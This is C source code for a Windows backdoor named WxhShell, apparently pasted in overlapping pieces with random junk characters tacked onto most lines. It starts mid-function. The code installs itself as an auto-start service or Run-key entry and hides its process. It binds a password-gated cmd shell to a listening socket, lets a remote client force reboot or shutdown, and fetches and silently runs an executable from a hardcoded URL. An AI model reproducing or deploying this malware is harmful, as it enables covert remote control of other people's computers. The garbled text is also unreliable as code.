  case 'd': { F'<XB~ &o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7zQGuGo(  
    if(Boot(SHUTDOWN)) $!'Vn)Z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G| &$/]~  
    else { %j0c|u  
    closesocket(wsh); agoMsxI9  
    ExitThread(0); F$v^S+Ch  
    } cPL6(&7  
    break; l}S96B  
    } 3 P\4K  
  // 获取shell J'#o6Ud  
  case 's': { SPT x-b[  
    CmdShell(wsh); =`}|hI   
    closesocket(wsh); <vg|8-,#m  
    ExitThread(0); NSRY(#3  
    break; +;@R&Y  
  } ak}k e  
  // 退出 F+zHgE  
  case 'x': { qCk`398W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Gzq 1+B  
    CloseIt(wsh); Ey&A\  
    break; gv jy'Rm  
    } >0N$R|B&  
  // 离开 L!5="s[}  
  case 'q': { F ww S[ 3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J=t}N+:F`b  
    closesocket(wsh); hsws7sH  
    WSACleanup(); S="\S  
    exit(1); OlW5k`B  
    break; 5?#AS#TD'  
        } .Pe^u%J6F  
  } ,mp^t2  
  } ?6[u\V  
e oFM  
  // 提示信息 7m(9|Y:Q.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l>Zp#+I-  
} -> 'q  
  } '}Jq(ah(  
;M#D*<ucI:  
  return; noWwX  
} gU@.IOg  
8(6mH'^y  
// shell模块句柄 n?^X/R.22  
int CmdShell(SOCKET sock)  vO;:~  
{ "8[Vb#=*e  
STARTUPINFO si; Ip,0C8T`Q  
ZeroMemory(&si,sizeof(si)); K]U8y$^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tdi}P/x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,-1taS  
PROCESS_INFORMATION ProcessInfo; }WNgKw  
char cmdline[]="cmd"; ]waCYrG<sY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P^/e!%UgC  
  return 0; w\a9A#v,  
} @:u2{>Yl  
5)K?:7  
// 自身启动模式 oH [-fF  
int StartFromService(void) Wf  *b"#  
{ wqn }t]  
typedef struct wGpw+O  
{ y?s#pSX;N  
  DWORD ExitStatus; wdgC{W Gl  
  DWORD PebBaseAddress; q'[yYPDX5x  
  DWORD AffinityMask; K@=_&A!  
  DWORD BasePriority; -QydUr/(o  
  ULONG UniqueProcessId; 5~omZ,qe  
  ULONG InheritedFromUniqueProcessId; 75H5{#)  
}   PROCESS_BASIC_INFORMATION; 03y5$kQ  
%lK]m`(  
PROCNTQSIP NtQueryInformationProcess;  7w|4BRL  
FU(s jB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #w]:<R^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZsDn`8  
wW;!L =j  
  HANDLE             hProcess; )Chx,pcx<  
  PROCESS_BASIC_INFORMATION pbi; SR 1UO'.  
6n.C!,Zmn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]?2&d[  
  if(NULL == hInst ) return 0; S|v-lJ/I  
P^ bcc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kKSn^q L*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $Xo_C_:B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \C E8S+Z%  
.SSj=q4?  
  if (!NtQueryInformationProcess) return 0; @y\M8C8  
J3=^ +/g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @GR|co  
  if(!hProcess) return 0; tB{O6=q  
LMte,zs>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -RnQ8Iu o  
~C],?X(zk  
  CloseHandle(hProcess); 7b[vZNi_  
}q@Jh*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,`< [ej   
if(hProcess==NULL) return 0; K1Wiiw  
ijWn,bj  
HMODULE hMod; ,U/ZG|=v  
char procName[255]; j'JNQo;q  
unsigned long cbNeeded; DW~< 8  
;GxKPy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '=vD!6=0@  
ng[ZM);  
  CloseHandle(hProcess); R`|GBVbv  
. B9rG~  
if(strstr(procName,"services")) return 1; // 以服务启动 wrW768WR  
:<Y, f(c  
  return 0; // 注册表启动 9y"*H2$#  
} vSy#[9}  
B?J #NFUb  
// 主模块 {__"Z<  
int StartWxhshell(LPSTR lpCmdLine) 6rOd80\  
{ sjV>&eb  
  SOCKET wsl; !j?2HlIK+  
BOOL val=TRUE; _/5mgn<GK  
  int port=0; H{ CG/+x  
  struct sockaddr_in door; aYQIe7J90J  
QGnBNsAh  
  if(wscfg.ws_autoins) Install(); q.>{d%?  
pTlNJ!U>  
port=atoi(lpCmdLine); Ey!+rq}  
k:0HsN!F9  
if(port<=0) port=wscfg.ws_port; \{[Gdj`  
`8%2F}x}qD  
  WSADATA data; ;  u0 MY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $k|k5cP8x  
}l>0m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &8 ~+^P1w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o4CgtqRs  
  door.sin_family = AF_INET; |,89zTk'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V '4sOn  
  door.sin_port = htons(port); Q}M% \v  
Yvu!Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \j]i"LpWb  
closesocket(wsl); }?=$?3W  
return 1; .* xaI+:  
} ZVj/lOP X  
0XBv8fg  
  if(listen(wsl,2) == INVALID_SOCKET) { Rj9YAW$  
closesocket(wsl); A~6:eappH  
return 1; %P2GQS-N  
} $5`P~Q'U  
  Wxhshell(wsl); ("k.5$  
  WSACleanup(); @exeHcW61  
gZe(aGh  
return 0; W"_")V=QBz  
ee.#Vhz  
} !>{` o/dZ  
I=)u:l c  
// 以NT服务方式启动 0[JJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p ] V  
{ [Az<E3H"  
DWORD   status = 0; /L8Q[`;.  
  DWORD   specificError = 0xfffffff; ?[}r& f  
~e5hfZv|w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ew# t4~hh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WCc,RI0   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6;g"`l51  
  serviceStatus.dwWin32ExitCode     = 0; )V<ML7_?  
  serviceStatus.dwServiceSpecificExitCode = 0; |<l  sv  
  serviceStatus.dwCheckPoint       = 0; %o4ZD7@ '  
  serviceStatus.dwWaitHint       = 0; Pwn3/+"%K  
l.c*, 9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >weY_%a  
  if (hServiceStatusHandle==0) return; |#);^z_  
+pcpb)VL  
status = GetLastError(); tO$/|B74Bz  
  if (status!=NO_ERROR) h|tdK;)  
{ F(J6 XnQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }]ak6'|[  
    serviceStatus.dwCheckPoint       = 0; W *t+!cU/:  
    serviceStatus.dwWaitHint       = 0; [;`B   
    serviceStatus.dwWin32ExitCode     = status; TzT(aWP"  
    serviceStatus.dwServiceSpecificExitCode = specificError; |UN0jR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XrY\ot`,D  
    return; 9K`(Ys&  
  } 60B6~@]P  
I'Dc9&2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f D<9k  
  serviceStatus.dwCheckPoint       = 0; r%*,pN7O  
  serviceStatus.dwWaitHint       = 0; uz6S7I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S: IhJQ4K  
} cRm+?/  
$[L~X M  
// 处理NT服务事件,比如:启动、停止 ALVHKL2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b!C\J  
{ K!c "g,S  
switch(fdwControl) rz%8V igb  
{ hSQuML   
case SERVICE_CONTROL_STOP: #)&kF+  
  serviceStatus.dwWin32ExitCode = 0; x{ _:B DY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ib(q9!L  
  serviceStatus.dwCheckPoint   = 0; +>b~nK>M  
  serviceStatus.dwWaitHint     = 0; DlHt#Ob7  
  { [ZC{eg+D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v803@9@  
  } WZ\bm$  
  return; A dNQS  
case SERVICE_CONTROL_PAUSE: ^=f<WKn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s9R#rwIc  
  break; J!40` 8i  
case SERVICE_CONTROL_CONTINUE: 9K]Li\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *E*= ;BG  
  break; 'aYUF&GG  
case SERVICE_CONTROL_INTERROGATE: V\$'3(*  
  break; [Yr }:B <  
}; TPjElBh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {z~n`ow  
} AgEX,SPP  
5L6_W -n{  
// 标准应用程序主函数 PE $sF ]/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i2]7Bf)oV  
{ pZo:\n5o  
|]--sUx:  
// 获取操作系统版本 BG>fLp  
OsIsNt=GetOsVer(); -MEp0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1:!_AU?  
6# [  
  // 从命令行安装 ]S@zhQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); RLy(Wz3%  
-|0nZ  
  // 下载执行文件 B bU%p  
if(wscfg.ws_downexe) { b`a4SfbQS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @|AHTf!  
  WinExec(wscfg.ws_filenam,SW_HIDE); -BQoNEh  
} Rcg q7W  
[{iPosQWj  
if(!OsIsNt) { w ]8+ OP  
// 如果时win9x,隐藏进程并且设置为注册表启动 oT7 6)O  
HideProc(); {zd0 7!9y  
StartWxhshell(lpCmdLine); O+iNR9O  
} ''t\J^+&  
else bSa%?laS  
  if(StartFromService()) } Xbmb8  
  // 以服务方式启动 tuT>,BbR  
  StartServiceCtrlDispatcher(DispatchTable); k P]'  
else _}bs0 kIz  
  // 普通方式启动 W|X=R?*ZK  
  StartWxhshell(lpCmdLine); J,iS<lV_  
F ru&-T[  
return 0; ?3[Gh9g`  
} p **Sd[|  
{KQ-QKxxS  
>:o$h2  
{}.M(nPtv;  
=========================================== 7+!FZo{?  
dC'8orFG+  
`O+}$wP  
=Msr+P9Ai  
6zbqv6  
<M){rce  
" wh Hp}r  
%#go9H(K  
#include <stdio.h> _HMQx_e0YM  
#include <string.h> k)j6rU  
#include <windows.h> ={'3j  
#include <winsock2.h> cn ~/P|B[  
#include <winsvc.h> Nm{+!}cC  
#include <urlmon.h> ()'yY^   
.1{:Q1"S  
#pragma comment (lib, "Ws2_32.lib") e1<9:h+  
#pragma comment (lib, "urlmon.lib") =EJ8J;y_f  
\wjT|z1+Y  
#define MAX_USER   100 // 最大客户端连接数 scc+r  
#define BUF_SOCK   200 // sock buffer 84f(BE  
#define KEY_BUFF   255 // 输入 buffer d/"%fpp^0G  
XE#a#  
#define REBOOT     0   // 重启 plNoI1st  
#define SHUTDOWN   1   // 关机 8}M-b6R V  
5q^5DH_;  
#define DEF_PORT   5000 // 监听端口 /1y\EEc  
'hGUsi  
#define REG_LEN     16   // 注册表键长度 oV/:T\Qn=  
#define SVC_LEN     80   // NT服务名长度 H*.v*ro9_  
K#%@4]jO3  
// 从dll定义API C.|.0^5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q1^bH 6*fl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;S_Imf0$v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X-4(oE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iv!;gMco  
+X%pUe  
// wxhshell配置信息  l;;,[xhq  
struct WSCFG { UuKW`(?^  
  int ws_port;         // 监听端口 /4I9Elr  
  char ws_passstr[REG_LEN]; // 口令 "F[e~S#V*  
  int ws_autoins;       // 安装标记, 1=yes 0=no #x+7-hi  
  char ws_regname[REG_LEN]; // 注册表键名 i,h)V Cc  
  char ws_svcname[REG_LEN]; // 服务名 T^ )\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m$.7) 24  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .DR*MQI9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <`V_H~Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ([ jm=[E^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <@S'vcO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Leu6kPk  
oA*88c+{f  
}; A(D>Zh6o@  
u?4d<%5R!  
// default Wxhshell configuration @?n~v^  
struct WSCFG wscfg={DEF_PORT, r1&eA%eh  
    "xuhuanlingzhe", {i<L<Y(3  
    1, |4C5;"Pc  
    "Wxhshell", <YM!K8hu$  
    "Wxhshell", lyS`X  
            "WxhShell Service", Fy*t[>  
    "Wrsky Windows CmdShell Service", `t7z LC^c  
    "Please Input Your Password: ", K_Pbzj4(P  
  1, csFLBP  
  "http://www.wrsky.com/wxhshell.exe", %N #A1   
  "Wxhshell.exe" 'u#c_m! 9  
    }; 5oe{i/#di  
F2>W{-H+  
// 消息定义模块 .~a.mT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 03n+kh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {^.q6,l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r,<p#4(>_  
char *msg_ws_ext="\n\rExit."; W5uC5C*,l  
char *msg_ws_end="\n\rQuit."; =TGa\iclpB  
char *msg_ws_boot="\n\rReboot..."; );/p[Fd2]  
char *msg_ws_poff="\n\rShutdown..."; e +Ikw1y"f  
char *msg_ws_down="\n\rSave to "; !lL~#l:F  
"sSY[6Kp!  
char *msg_ws_err="\n\rErr!"; .wO-2h{Q  
char *msg_ws_ok="\n\rOK!"; ! GJT-[  
Sa-" G`  
char ExeFile[MAX_PATH]; W %1/: _  
int nUser = 0; |fB/hs \  
HANDLE handles[MAX_USER]; l h?[wc  
int OsIsNt; D4T42L  
mhMTn*9  
SERVICE_STATUS       serviceStatus; hZ|8mV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; % kaV ?j  
M_O)w^ '  
// 函数声明 ~#dfZa&   
int Install(void); * EPJeblAV  
int Uninstall(void);  6o1[fr  
int DownloadFile(char *sURL, SOCKET wsh); Y%!k'\n[2  
int Boot(int flag); {wl7&25  
void HideProc(void); %KPQ|^WE  
int GetOsVer(void); L@S1C=-/  
int Wxhshell(SOCKET wsl); }ww`Y&#  
void TalkWithClient(void *cs); "H9q%S,FH  
int CmdShell(SOCKET sock); w!b;.l  
int StartFromService(void);  e**5_L  
int StartWxhshell(LPSTR lpCmdLine); a`D`v5G t  
`[&%fTW+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _&M^}||UH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3U! l8N2  
!iL6/  
// 数据结构和表定义 y[/:?O}g4  
SERVICE_TABLE_ENTRY DispatchTable[] = <OrQbrWQa  
{ Ri3*au/Q  
{wscfg.ws_svcname, NTServiceMain}, h^YUu`P  
{NULL, NULL} y J>Bc  
}; g'9~T8i& ^  
v=daafO  
// 自我安装 ,=[r6k<  
int Install(void) y:Agmr,S  
{ Ih[k{p  
  char svExeFile[MAX_PATH]; hG}gKs  
  HKEY key; w}YcAnuB{%  
  strcpy(svExeFile,ExeFile); R1Fcd@DWD  
}((P)\s  
// 如果是win9x系统,修改注册表设为自启动 ~"Su2{"8B  
if(!OsIsNt) { L/)eNZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] I5&'#%2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bduHYs+rq  
  RegCloseKey(key); hb(H-`16  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ky'G/ z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BO+t o.  
  RegCloseKey(key); S rhBU6K  
  return 0; TCK#bJ  
    } {]iM5?  
  }  zj$Ve  
} I/zI\PP,  
else { #@ F   
RLO<5L  
// 如果是NT以上系统,安装为系统服务 @cQ |`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BnG{) \s  
if (schSCManager!=0) d>0 j!+s  
{ HP=5 a.  
  SC_HANDLE schService = CreateService YXg^t$  
  ( !{!(yP_  
  schSCManager, PB #EU 9  
  wscfg.ws_svcname, H|3CZ=U?  
  wscfg.ws_svcdisp, IH"_6s#$&  
  SERVICE_ALL_ACCESS, 2gW+&5; 4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mj ,Oy  
  SERVICE_AUTO_START, zpy&\#Vc  
  SERVICE_ERROR_NORMAL, }vZTiuzC  
  svExeFile, KDr)'gl&  
  NULL, V$ho9gQ!l[  
  NULL, !,~C  
  NULL, Gw#z:gX2  
  NULL, {5SJ0'.B2g  
  NULL 5*O]`Q7  
  ); Mn*5oH  
  if (schService!=0) uFG ;AY|  
  { 0xV[C4E[6  
  CloseServiceHandle(schService); ?SX0e(+}}  
  CloseServiceHandle(schSCManager); 1]aya(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,w,)n^  
  strcat(svExeFile,wscfg.ws_svcname); jF{)2|5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U8eU[|-8O/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &D`$YUl@  
  RegCloseKey(key); ]_hXg*?  
  return 0; w69G6G(  
    } .p'\@@o5  
  } #B__-"cRv  
  CloseServiceHandle(schSCManager); 7 .xejz  
} ,%KMi-w]q,  
} YVO~0bX:  
XeXK~  
return 1; !/Wv\qm  
} CYNpbv  
?xt${?KP  
// 自我卸载 a61?G!]  
int Uninstall(void) Q[bIkvr|  
{ |99Z& <8f  
  HKEY key; 84gj%tw'-  
Ws[d.El  
if(!OsIsNt) { _m1WY7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nVk]Qe  
  RegDeleteValue(key,wscfg.ws_regname); PU%WpI.w  
  RegCloseKey(key); {'G u@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BgwZZ<B  
  RegDeleteValue(key,wscfg.ws_regname); pXe]hnY  
  RegCloseKey(key); *4 Kc "M  
  return 0; QezDm^<  
  } !e0/1 j=  
} L/:u  
} 7P D D  
else { ^j'vM\^`ml  
=e]Wt/AQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <PQ[N[SU  
if (schSCManager!=0) Y0nuwX*{  
{ SFa^$w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jqy?Od )  
  if (schService!=0) N-GQ\&   
  { RH<C:!F^  
  if(DeleteService(schService)!=0) { nb|"dK|  
  CloseServiceHandle(schService); hN_,Vyf  
  CloseServiceHandle(schSCManager); !n5s/"'H  
  return 0; wq3V&@.  
  } 0'Qo eFKG  
  CloseServiceHandle(schService); 2 Xc,c*r  
  } i{ 2rQy+  
  CloseServiceHandle(schSCManager); ++0xa%:  
} EB>rY  
} ?T:$:IHw  
O[#B906JB  
return 1; <*&2b  
} cWL 7gv\|  
{%z}CTf#  
// 从指定url下载文件 hH@pA:`s  
int DownloadFile(char *sURL, SOCKET wsh) +yu^Z*_  
{ |y7#D9m  
  HRESULT hr; %LZf= `:(  
char seps[]= "/"; evHKq}{  
char *token; wB W]w  
char *file; PRF^<%mkI  
char myURL[MAX_PATH]; ~ TALpd  
char myFILE[MAX_PATH]; "G!V?~;  
:#p!&Fi  
strcpy(myURL,sURL); tL@m5M%:N2  
  token=strtok(myURL,seps); N @sVA%L.  
  while(token!=NULL) -%)8=  
  { rDWqJ<8  
    file=token; W= \gPCo  
  token=strtok(NULL,seps); y'pX/5R0  
  } #oD * H:%*  
^k}jPc6  
GetCurrentDirectory(MAX_PATH,myFILE); #&c}i n"!  
strcat(myFILE, "\\"); }!g^}BWWp  
strcat(myFILE, file); <ba+7CK] w  
  send(wsh,myFILE,strlen(myFILE),0); kzb1iBe 6m  
send(wsh,"...",3,0); iG;GAw|E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xa32p_|5~  
  if(hr==S_OK) @Y2&v956  
return 0; ] Q\/si&  
else ?{I]!gI  
return 1; zbL6TP@=  
t^1c^RpTb  
} Cdd +I5~  
@VcSK`  
// 系统电源模块 T5di#%: s  
int Boot(int flag) 2*1s(Jro  
{ ~2*8pb 4  
  HANDLE hToken; gT6@0ANq  
  TOKEN_PRIVILEGES tkp; .EUOKPK4W  
YG6Kvc6T  
  if(OsIsNt) { (eAh8^)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UZ+FV;<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bx32pY  
    tkp.PrivilegeCount = 1; JMq00_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x?|   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,4%'~8'3  
if(flag==REBOOT) { $?u ^hMU=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i bwnK?ZA  
  return 0; Ka\%kB>*`  
} SggS8$a`  
else { fX2PteA0qX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S?_ ;$Cn  
  return 0; 3QrYH @7zx  
} X pd^^  
  } ii@O&g  
  else { DOm5azO!>  
if(flag==REBOOT) { TBYRY)~f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pc4FEH/  
  return 0; glppb$oB\  
} G&Sp }  
else { RT)*H>|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ' cl&S:  
  return 0; 5? s$(Lt~  
} V/G'{ q  
} nEM>*;iE   
vWwnC)5  
return 1; fH7o,U|  
} u F T&r|  
\i=,[8t[r  
// win9x进程隐藏模块 }GCt)i_  
void HideProc(void) Oj*3'?<7=  
{ -)tu$W*  
r='"X#CmV/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dviL5Eaj  
  if ( hKernel != NULL ) mu/O\'5  
  { ArUGa(; f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WoiK _Ud  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y3K9rf  
    FreeLibrary(hKernel); MD ,}-m  
  } )[>b7K$f  
8 ]N+V:  
return; B{SzC=4f}  
} G8lR_gD"!  
~Cj55S+  
// 获取操作系统版本 ?*z#G'3z1  
int GetOsVer(void) 2 c <Qh=  
{ %jY /jp=R  
  OSVERSIONINFO winfo; n@xDFa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j#b?P=|l  
  GetVersionEx(&winfo); :hG?} [-2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $3sS&i<  
  return 1; !0~$u3[b  
  else Fr)G h>  
  return 0; +QIM~tt)  
} por[p\M.  
]iuM2]  
// 客户端句柄模块 <m80e),~  
int Wxhshell(SOCKET wsl) _n(NPFV  
{ }xHoitOD  
  SOCKET wsh; ~:f9,  
  struct sockaddr_in client; m[C-/f^u|  
  DWORD myID; */n)_  
+!V*{<K  
  while(nUser<MAX_USER) /)xG%J7H  
{ u|7d_3 ::  
  int nSize=sizeof(client); i=-zaboo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4XDR?KUM  
  if(wsh==INVALID_SOCKET) return 1; 9 I> 3p4]  
@#}9?>UV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vS:%(Y"!<  
if(handles[nUser]==0) ;PJWd|3  
  closesocket(wsh); dvk? A$  
else tqIz$84G  
  nUser++; s&p*.I]@>  
  } 0}c *u) ,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l/_3H\iM  
!=#E/il,  
  return 0; 3C8'0DB  
} rO/mK$  
>'/G:\M>A  
// 关闭 socket k=O2s'F`  
void CloseIt(SOCKET wsh) )kl| 5i  
{ >UpTMEQ  
closesocket(wsh); h FP$MFab  
nUser--; S?%V o* Y  
ExitThread(0); 50(/LV1  
} k`r}Gb  
:*e0Z2=  
// 客户端请求句柄 8f% @  
void TalkWithClient(void *cs) =V1k'XJ  
{ S'HM|&  
O9]j$,i  
  SOCKET wsh=(SOCKET)cs; _$By c(.c  
  char pwd[SVC_LEN]; -Xkdu?6Eh  
  char cmd[KEY_BUFF]; y>u+.z a|  
char chr[1]; Y2j>lf?8  
int i,j; <oPo?r|oM|  
VY@uQ#&A  
  while (nUser < MAX_USER) { r^ &{0c&o  
46*o_A,"  
if(wscfg.ws_passstr) { tn;e PcU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6z"fBF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $GUSTV  
  //ZeroMemory(pwd,KEY_BUFF); er^z:1'  
      i=0; X",fp  
  while(i<SVC_LEN) { %WCA?W0:4  
Vf*!m~]Vqi  
  // 设置超时 y%=\E  
  fd_set FdRead; :N%cIxrqP  
  struct timeval TimeOut; \CB{Ut+s  
  FD_ZERO(&FdRead); LS4c|Dv  
  FD_SET(wsh,&FdRead); oDx*}[/  
  TimeOut.tv_sec=8; +GgWd=X.Y  
  TimeOut.tv_usec=0; ji`N1e,l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vy{=Y(cpF2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `ItMn&P  
U}6'_ PRQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /9|1eSUa  
  pwd=chr[0]; )dG7 $,g  
  if(chr[0]==0xd || chr[0]==0xa) { X^?<, Y)1.  
  pwd=0; )m"NO/sJ2  
  break; (zBa2Vmmv  
  } $.cNY+  k  
  i++; [Ym?"YwVX  
    } 42:\1B#[  
? 8S0  
  // 如果是非法用户,关闭 socket B>t$Z5Q^X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O:RPH{D  
} G[r_|-^S  
OAR1u}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]~87v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Us M|OH5k  
D<#+ R"  
while(1) { `.Y["f 1B  
Mvrc[s+o  
  ZeroMemory(cmd,KEY_BUFF); F^IYx~:  
C!B2 .:ja  
      // 自动支持客户端 telnet标准   -Uq I=#  
  j=0; 4<70mUnt  
  while(j<KEY_BUFF) { P 5m{}@g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;) 5d wq  
  cmd[j]=chr[0]; j.sxyW?3  
  if(chr[0]==0xa || chr[0]==0xd) { n%3rv?m7  
  cmd[j]=0; W cPDPu~/  
  break; gT'c`3Gkz  
  } K/+5$SjF  
  j++; m7^aa@^m  
    } rv&(yA  
={W;8BUV%^  
  // 下载文件 ^u:7U4  
  if(strstr(cmd,"http://")) { h5U@Ys  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F5wCl2I  
  if(DownloadFile(cmd,wsh)) J8J~$DU\Gv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V z8o  
  else :f ybH)*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W@`Nn*S  
  } `Ff3H$_*  
  else { ixw3Z D(>+  
M3odyO(  
    switch(cmd[0]) { s&iM.[k  
